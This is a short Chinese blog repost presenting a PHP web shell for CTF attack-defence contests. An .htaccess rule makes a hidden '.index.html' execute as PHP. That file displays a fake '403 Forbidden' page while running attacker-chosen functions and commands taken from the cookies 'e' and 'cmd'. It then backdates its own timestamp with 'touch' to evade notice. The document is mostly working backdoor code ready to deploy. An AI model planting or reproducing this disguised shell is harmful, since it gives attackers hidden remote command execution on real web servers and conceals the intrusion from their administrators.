ctf_backdoor

最新推荐文章于 2023-12-22 23:12:17 发布

dengzhasong7076

最新推荐文章于 2023-12-22 23:12:17 发布

阅读量873

点赞数

文章标签： php

原文链接：http://www.cnblogs.com/iamstudy/articles/ctf_backdoor.html

版权

最近是想写一个ctf线下赛的总结，不过想想还是算了，然后突发想到一个能用上的一个backdoor

web容器：apache

.htaccess

<Files .index.html>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>

DirectoryIndex .index.html

.index.html

<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN">
<!-- saved from url=(0023)http://c.cc/other/3.ico -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access <?php echo substr($_SERVER['PHP_SELF'],0,-11).""; ?> on this server.<br>
</p>

</body></html>
<?php
header('HTTP/1.1 403');
$file = __FILE__;
$e = @$_COOKIE['e'];
@register_shutdown_function($e, $_COOKIE['cmd']);
system("touch -c -t 05061803 ".$file);
?>